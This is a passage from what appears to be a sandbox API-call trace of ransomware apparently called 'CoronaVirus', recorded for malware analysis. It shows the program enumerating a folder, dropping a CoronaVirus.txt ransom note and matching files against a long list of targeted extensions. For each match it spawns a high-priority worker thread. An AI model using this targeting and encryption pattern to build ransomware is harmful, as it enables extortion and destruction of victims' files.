	[0081.791] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.791] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.791] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.791] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.791] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.791] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.791] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.791] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.791] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.791] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.791] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.791] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.791] FindClose (in: hFindFile=0x6009d0 | out: hFindFile=0x6009d0) returned 1
	[0081.791] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1
	[0081.791] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.791] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.791] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1045") returned 26
	[0081.791] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.791] wcsstr (_Str="C:\\588bce7c90097ed212\\1045", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.791] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.798] _alloca_probe () returned 0x4036d0
	[0081.798] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1045", lpFilePart=0x316583c*="1045") returned 0x1a
	[0081.798] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea1d0d34, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0081.798] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.798] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea1d0d34, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.798] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.798] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1d0d34, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea1d0d34, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.798] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.798] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.798] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.798] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.798] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.798] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.798] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.798] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.798] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.798] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.798] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.798] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.798] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.798] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.798] malloc (_Size=0x1000) returned 0x2f1e2d8
	[0081.799] _swprintf (in: param_1=0x2f1e2d8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1045\\CoronaVirus.txt") returned 42
	[0081.799] wcsstr (_Str="C:\\588bce7c90097ed212\\1045\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.799] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.799] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.799] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.799] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.799] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.800] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.800] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.801] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.801] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.801] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.801] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.801] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.801] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.801] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.801] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.801] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.801] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.801] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.801] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.801] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.801] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.801] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.801] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.801] malloc (_Size=0x1000) returned 0x2f13060
	[0081.801] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0081.801] wcsstr (_Str="C:\\588bce7c90097ed212\\1045\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.801] wcsstr (_Str="C:\\588bce7c90097ed212\\1045\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.801] wcsstr (_Str="C:\\588bce7c90097ed212\\1045\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474
	[0081.802] SetThreadPriority (hThread=0x474, nPriority=15) returned 1
	[0081.804] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.804] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.804] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.804] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.808] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.808] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.808] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.808] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.808] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.808] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.808] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.808] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.808] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.808] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.808] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.808] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.809] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.809] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.809] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.809] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.809] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.813] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.813] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.813] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.813] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.813] malloc (_Size=0x1000) returned 0x2f13060
	[0081.813] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0081.813] wcsstr (_Str="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.813] wcsstr (_Str="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.813] wcsstr (_Str="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c
	[0081.813] SetThreadPriority (hThread=0x44c, nPriority=15) returned 1
	[0081.816] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.816] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0081.816] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.816] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.816] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.816] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.816] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.816] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.816] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.816] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.822] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.822] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.822] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.822] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.822] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.822] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.828] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.828] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.834] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.834] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.835] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.835] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.836] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.836] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.836] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.836] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
